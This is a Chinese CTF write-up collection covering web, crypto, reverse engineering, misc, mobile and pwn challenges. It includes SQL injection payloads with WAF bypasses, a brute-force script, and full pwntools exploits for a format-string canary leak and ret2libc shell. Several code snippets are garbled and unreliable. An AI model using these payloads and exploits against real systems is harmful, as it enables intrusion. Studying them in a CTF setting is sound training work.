web 1 签到题
1.看源码发现是php隐士转换直接 Username=QNKCDZO，password=240610708 ，得到下一个地址 http://117.34.111.15:84/json.php2.继续右键看源码
2.继续右键看源码
3.又是弱类型 Web2 抽奖看到 jQuery.js 有点异常，打开源码，解码得到以下代码： 然后直接在控制台输入 getFlag，得到 flag - (function() {
- window.getFlag=function(text){ if(text=='1'){ alert("你最厉害啦!可惜没flag") } if(text=='2'){ alert("你太厉害了,竟然是二等奖") } if(text=='3'){ alert("你好厉害,三等奖啊") } if(text=='flag'){ alert("flag{951c712ac2c3e57053c43d80c0a9e543}") } if(text=='0'){ alert("再来一次吧") } }
- })
查看源代码，看代码 - $.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {
- alert(jsctf3['text'])
- }, 'json');
于是构造请求 'http://117.34.111.15:81/get.php?token='+token+'&id='+id ，试了下 encode(md5('1'))、encode(md5('2'))、encode(md5('3'))，均没出来 flag ，于是写了 python 脚本，跑构造好的字典 - # -- coding:utf-8 --
- import requests
- import pyquery
- file = open('zd.txt','r')
- for line in file.readlines():
- id = line.strip('\n')
- url = 'http://117.34.111.15:81/'
- headers = {
- 'Accept-Encoding': 'gzip, deflate, sdch, br',
- 'Connection': 'keep-alive',
- 'Cache-Control':'max-age=0',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
- 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Mobile/14B150 MicroMessenger/6.5.1 NetType/WIFI Language/zh_CN',
- 'Upgrade-Insecure-Requests':'1',
- 'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4',
- }
- s = requests.Session()
- r = s.get(url=url,headers=headers).text
- c = pyquery.PyQuery(r)
- token = c('#token').val()
- url2 = 'http://117.34.111.15:81/get.php?token='+token+'&id='+id
- r2 = s.get(url=url2,headers=headers)
- str = r2.text
- print str.decode('unicode_escape').encode('utf-8'), id
于是跑出 flag，也就是当 encode(md5('147')) 时， 方法2：源碼大法view-source:http://xxx:81/ Payload看了下源碼，爆破 function orz(t) { $.get('token.php', function(token) { console.log(token); $.get("get.php?token=" + token + "&id=" + encode(md5(t)), function(jsctf3) { console.log(jsctf3); if(jsctf3['text'].indexOf('flag{')>-1){ alert(jsctf3['text']); }else if(t<200){ orz(t+1); } }, 'json'); },'json');}orz(0);Get Flagflag{b81cfec0285f75d4e36d2ccb2f7ec2c0}
Web4 Wrong找到这个 .index.php.swp 通过恢复文件 vim -r index.php 得到下面源码
- <?php
- error_reporting(0);
- function create_password($pw_length = 10)
- {
- $randpwd = "";
- for ($i = 0; $i < $pw_length; $i++)
- {
- $randpwd .= chr(mt_rand(33, 126));
- }
- return $randpwd;
- }
- session_start();
- mt_srand(time());
- $pwd=create_password();
- if($pwd==$_GET['pwd'])
- {
- if($_SESSION['userLogin']==$_GET['login'])
- echo "Good job, you get the key";
- }
- else
- {echo "Wrong!";}
- $_SESSION['userLogin']=create_password(32).rand();
- ?>
通过小小的审计得到思路 把cookie删掉 就可以过第二个if($SESSION['userLogin']==$GET['login']) <?php function create_password($pw_length = 10) { $randpwd = ""; for ($i = 0; $i < $pw_length; $i++) { $randpwd .= chr(mt_rand(33, 126)); } return $randpwd; } mt_srand(1492307701); $pwd=create_password();var_dump($pwd); ?>通过下面脚本得到一个随后的时间戳，用 burp 不断发包，等到时间到了设置的时间戳就会得到 flag web4 so easy:
- waf拦截了逗号、空格、and、union等关键字，但是没有过滤mid、ascii、from等关键字，因为过滤了and，那就利用Mysql的位运算0'^1^'1结果为0，拼接sql语句为select role from user where username ='0'^1^0成功得到查询到admin的role
利用bool型盲注进行注入，用()代替空格，用from 1 代替,写一个脚本跑一下，得到密码: 37b1d2f04f594bfffc826fd69e389688 利用注入的密码去登录 这里直接用mysql字符问题解决，成功获取flag
WEB5 Web just a test簡單測試下就知道是字符集導致注入＆報錯注入 - 爆表
- select table_name from information_schema.tables limit %s,1
- 爆庫
- select table_schema from information_schema.tables limit %s,1
- 爆字段
- select column_name from information_schema.columns where table_name in (0x666c4067) limit %s,1
1
2
| http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,32,20) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"
http://xxx:83/111%%df' AND extractvalue(1, concat(0x23, (select mid(f1ag,1,32) from `test`.`fl@g` limit %s,1),0x232323))-- KeTF"
|
萬能的sqlmap其實也能跑出來 Get Flagflag{99cd1872c9b26525a8e5ec878d230caf}
Crypto1 签到 ~ echo "ZmxhZ3tXZWlTdW9GeXVfQmllTGFuZ30=" | base64 -Dflag{WeiSuoFyu_BieLang} [size=0.8em][url=]Copy[/url]
Crypt2 200小强不小心截获了两个老外同服务器的加密通信数据，看看他们在说些什么。。。 在通信流量中能找到 N 和E，猜测密文都是一样的，用共模攻击 得到 flag{flag{Hc0mm0nModulusR$AH}} Bin1 Now程序使用自修改代码、第三方标准库等手段，影响静态分析。程序输入在00402047处，接着在004020E9检查长度是否为9。通过004038F0输出调用定位到关键输出在00402490函数中，此控制此函数关键之跳的dword_446184是在402640函数中确定的。细看下此函数，发现关键算法也在此处，将输入和xmmword_43AC00分别运算后进行比较，因为xmmword_43AC00的计算结果为定值，整理下即可反算出输入536724689，代码如下。 check = [0x0b,0x06,0x15,0x0b,0x04,0x0e,0x16,0x10,0x31 input = '' for i in range(3): s2 = check[3*i+1/2 s1 = check[3*i-2*s2 s3 = check[3*i+2-5*s2 input += chr(s1+0x30)+chr(s2+0x30)+chr(s3+0x30)print input [size=0.8em][url=]Copy[/url]
将输入代入程序即可得到后面一部分的flag：0IdWan9} 根据题目提示，终于在文件的详细资料里找到一串base64串，解之得到flag{aoot@mail:。 所以最终flag:flag{aoot@mail:0IdWan9}。 Bin2 Magical Box# -*-coding:utf-8-*-from pwn import *context.log_level = "debug"r = remote("117.34.80.134", 7777)def leak(addr): r.recvuntil("you?\n") payload = "aa" + p32(addr) + "%5$s" r.sendline(payload) r.recvuntil("login!aa") r.recv(4) data = r.recvuntil("\n") data = data.replace("\n","") return datadef leak_canary(): r.recvuntil("you?\n") payload = "%7$p" r.sendline(payload) r.recvuntil("login!") data = r.recvuntil("\n") data = data.replace("\n", "") return datacanary = int(leak_canary(),16) print " canary:{0}".format(hex(canary))printf_got = 0x0804B010 leak_data = leak(printf_got) printf_addr = u32(leak_data[0:4) fflush_addr = u32(leak_data[4:8) print " printf:{0}".format(hex(printf_addr)) print " fflush:{0}".format(hex(fflush_addr)) libc = ELF("./libc.so.6") libc_base = printf_addr - libc.symbols["printf" system_addr = libc_base + libc.symbols["system" sh_addr = next(libc.search("/bin/sh")) + libc_base #attach()r.recvuntil("you?\n") r.sendline("admin2017") r.recvuntil("commands.") r.sendline("add") r.recvuntil("APP/Site: ") r.sendline("a"*0x31) r.recvuntil("Username: ") r.sendline("b"*0x1d) r.recvuntil("Password: ") payload = "a"*30 payload += p32(canary) payload += "a"*0xc payload += p32(system_addr) payload += p32(sh_addr) payload += p32(sh_addr) r.sendline(payload)r.interactive() [size=0.8em][url=]Copy[/url]
Misc1 一维码首先，从图片中进行 LSB 提取，能获取一个 ELF 文件。 又因为之前扫码得知一个针对可执行文件的隐写工具hydan，通过这个就能得到flag了。 Misc3乾坤在数据包导出http对象，里面有2个zip包（在linux下可以看得清楚），解压后一个是flag.exe另一个是encode.py，encode.py是把flag进行多次b64替换并做处理，而flag.exe在最后面附带了密文，编写decode.py即可 flag{n1_hEn_baNg_0} Misc4 轨迹经过一番艰难的识别。。。。 Misc5 种棵树吧对第一个图片斌walk 得到一个gif，加上头，能得到 In-order {RY!heHVaL-goAI{dxj_GpnUw8}kzu*Er:s56fFl2i} strings 第二个图片得到 Post-order{YR!eVa-gLAoxd_j{pw}8zkUnGuIHh:r65f2lFsEi*}
二叉树就二叉树吗 ...真是的 由中序和后序画出二叉树，然后按层次遍历 得到hi!HEReIsYouFLAG:flag{n52V-jPU6d_kx8zw} ------------------------------------------- - binwalk -Me final_new.zip
查看了图1，图2都没什么信息，在gif里查到了一段In-order开头的字符串信息
起初以为栅栏凯撒组合加密，跑了一通都没结果，后来队友在2222.jpg中发现了其他的提示信息
百度搜索In-order, Post-order，发现是树的两种遍历方式
根据两种遍历方式画出树，再层序输出就得到flag
Misc6 我们的秘密对文件进行binwak secret.zip -e得到一个reame.txt文件，使用明文攻击，得到压缩包密码：3xatu2o17 解压后主要有两文件，一个音频，一个视频，音频中解摩尔斯得到CTFSECWAR2017，然后猜测题目的意思，our secret这是一款隐写软件，通过他和之前得到的字符串得到flag{v1de0_c0nc3a1_lala}
MOBILE1 拯救鲁班七号题目对输入的字符串进行简单的变换，每个循环中，首先将当前index指向的相邻两个字符互换，然后将进入一个小循环依次每隔3个互换。加解密时需注意互换的边界。密文为“!S#@A4DF32511@43”，明文为“!@#@ASDF3451123”。 加解密代码： s = '!@#@ASDF34511234' print len(s) l = list(s) for i in range(1, len(l) - 1, 2): l[i, l[i - 1 = l[i - 1, l[i for j in range(4, len(l), 4): l[j - 4, l[j = l[j, l[j - 4print l print ''.join(l)# s = 'S!@#@1FD23154A34'# l = list(s)for i in range(((len(l) & (~1)) - 3), 0, -2): for j in range((len(l) - 1) & (~3), 3, -4): l[j - 4, l[j = l[j, l[j - 4 l[i, l[i - 1 = l[i - 1, l[iprint l print ''.join(l) print ''.join(l) == s [size=0.8em][url=]Copy[/url]
MOBILE 2 人民的名义-抓捕赵德汉1首先从sqlite数据库里取一个字符串，id为2，表为users，取出来字符串为9838e888496bfda98afdbb98a9b9a9d9cdfa29，然后会将输入做一些变换与字符串比较，变换的规则为每个字符的低四位取反并转为十六进制，然后加上高四位与0xe异或。 s = '9838e888496bfda98afdbb98a9b9a9d9cdfa29' l = [] for i in range(0, len(s), 2): l.append(chr( (~int(s, 16) & 0xf) + ((int(s[i + 1], 16) ^ 0xe) << 4) ))print l print ''.join(l) [size=0.8em][url=]Copy[/url]
MOBILE 3 人民的名义-抓捕赵德汉2这个题有两种解法，第一种反编译newClassName.class，里面有个md5：fa3733c647dca53a66cf8df953c2d539 ，cmd5上查一下是monkey99就是flag。 第二种正统的做法，是反编译CheckPassword.class，发现里面动态加载了一个class，这个class使用aes加密存于ClassEnc文件中，aes密钥的十六进制是bb27630cf264f8567d185008c10c3f96 ，把这个ClassEnc文件解密，即可得到newClassName.class文件的内容，后面的步骤同第一个解法 MOBILE 4 The Marauder's Map本题使用双字节混淆，众所周知java是支持双字节变量名的，也就是说你可以起中文的变量名，这并不影响编译，因此可以直接反编译class代码，然后直接重新编译运行就好了。 这个题使用的是自己的system类，因此要注意不要和系统的system类弄混了。 这个题首先由一个复杂的字符串每个字符右移一位生成一个密钥，然后遍历输入，计算当前索引的斐波那契数列的值，作为对密钥的索引，然后拼接起来就是目标flag。 这里密钥的获取只能用java来实现，其余可以用Python来实现。 代码 public static String getKey() { String x = ""; char[ var5; int var4 = (var5 = "v辤êê¬ÆÆêvì¤ê2ê2àΤ¨¸¬".toCharArray()).length; for(int var3 = 0; var3 < var4; ++var3) { char $ = var5[var3; x = x + (char)(($ >> 1) + 15); } return x;}[size=0.8em][url=]Copy[/url]
# coding=utf-8def f(i): return f(i - 1) + f(i - 2) if i > 2 else 1def d(i, s): return f(i) % len(s)key = "JsnatterrtJuaththovacke" l = [i = 0 for _ in range(4): for k in range(4): l.append(key[d(i + k, key)) l.append('-') i += 5print ''.join(l)[:-1 [size=0.8em][url=]Copy[/url]
MOBILE 5 取证密码本题lib中有一个字符串和一个整数数组，只要按整数数组里的顺序从字符串中取出字符，拼接起来就是flag 代码 key = 'yInS567!bcNOUV8vwCDefXYZadoPQRGx13ghTpqrsHklm2EFtuJKLzMijAB094W' l = [0x39, 0x20, 7, 0xA, 0x20, 0x29, 0x13, 2, 0x3A, 0xC, 0x11, 0x31, 0x3B, 0xB, 7s = [ for i in l: s.append(key[i)print ''.join(s)
PWN200 - Magical Box
先checksec发现保护比较多，主要有canary
但是在刚开始的login阶段就能发现有格式化漏洞，通过%7$08x泄漏canary
接着就是要登陆成功，进入后面的模块，它这里是对输入的字符传与全局变量s异或，再与s2比较。
这里有个暗坑，因为我是从main函数开始分析起的，并没有发现s2在init阶段就与0xc异或处理过一次，导致刚开始一直算不出正确的用户名。
登陆后进入跳转表：
一个个分析过去，在s_AddAnNewAcc中发现selfInput(src, 0x32)处很明显溢出
接着就是编写合适的exp去get shell，这里使用puts泄漏puts()在内存中的地址，然后和libc中的system(),’/bin/sh’偏移计算的到其在内存中的地址。
exp:
- #!/usr/bin/python
- buf = [0x79, 0x3d, 0xf, 0x3, 0x44, 0x4b, 0x45, 0xa, 0x76, 0x0]
- sbuf = "4Unf&uy7Mo"
- #for ( i = 0; i < buflen(buf); ++i )
- # v3[i] = buf[i] ^ *(_BYTE *)(i + 134525066);
- #4Unf&uy7Mo
- tempBuf = []
- for i in xrange(len(sbuf)):
- temp = ord(sbuf[i]) ^ 0xc
- tempBuf += chr(temp)
- str = ''
- for i in xrange(len(buf)):
- for j in range(0x0, 0xff):
- #temp_j = j ^ ord(sbuf[i]);
- temp_j = j ^ ord(tempBuf[i]);
- if (temp_j == buf[i]):
- print "buf(%#x)(%c) == after^ => (%#x)(%c) | buf = (%c)" %(j, chr(j), temp_j, chr(temp_j), sbuf[i])
- str += chr(j)
- break
- print(str)
- -----
- #!/usr/bin/python
- from pwn import *
- addNewAccAddr = 0x080489AC
- #selfInput(char *buf, int Len)
- selfInputAddr = 0x0804871D
- bssAddr = 0x0804B100
- putsPltAddr = 0x08048570
- putsGotAddr = 0x0804B030
- #p = process('./pwn_box')
- p = remote('117.34.80.134', 7777)
- pwnElf = ELF('./pwn_box')
- libcELF = ELF('./libc.so.6')
- context.log_level = 'debug'
- context.terminal = ['tmux', 'splitw', '-h']
- #gdb.attach(p, '''b *0x08048ACD\n\rc\n\r''')
- p.recvuntil('are you?')
- p.sendline('%7$08x')
- p.recvuntil('login!')
- canary = p.recv(8)
- canaryVal = eval('0x'+canary)
- print "canary = %s, %#x" %(canary, canaryVal)
- p.recvuntil('you?')
- p.sendline('Admin2017')
- p.recvuntil('commands.')
- p.sendline('?')
- p.recvuntil('--\n')
- p.sendline('add')
- p.recvuntil('Site: ')
- p.sendline('test')
- p.recvuntil('Username: ')
- p.sendline('test')
- p.recvuntil('Password: ')
- payloadHead = 'a' * 30 + p32(canaryVal)
- payloadHead += 'b'*(46-len(payloadHead))
- #payload += p32(selfInputAddr) + p32(addNewAccAddr) + p32(bssAddr) + p32(8)
- #p.sendline(payload)
- #p.send('/bin/sh\0')
- payload1 = payloadHead + p32(putsPltAddr) + p32(addNewAccAddr) + p32(putsGotAddr)
- p.sendline(payload1)
- p.recvuntil('--\n\n')
- putsAddr = u32(p.recv(4))
- print 'putsPltAddr = ' + hex(putsPltAddr)
- print 'putsGotAddr = ' + hex(putsGotAddr)
- print 'putsAddr = ' + hex(putsAddr)
- # calculating system() & '/bin/sh'
- systemAddr = putsAddr - (libcELF.symbols['puts'] - libcELF.symbols['system'])
- print 'systemAddr = ' + hex(systemAddr)
- binshAddr = putsAddr - (libcELF.symbols['puts'] - next(libcELF.search('/bin/sh')))
- print 'binshAddr = ' + hex(binshAddr)
- p.recvuntil('Site: ')
- p.sendline('test')
- p.recvuntil('Username: ')
- p.sendline('test')
- p.recvuntil('Password: ')
- payload2 = payloadHead + p32(systemAddr) + p32(addNewAccAddr) + p32(binshAddr)
- p.sendline(payload2)
- p.interactive()
官方writeup.pdf
(4.42 MB, 下载次数: 2749)
|
变色卡
照妖镜
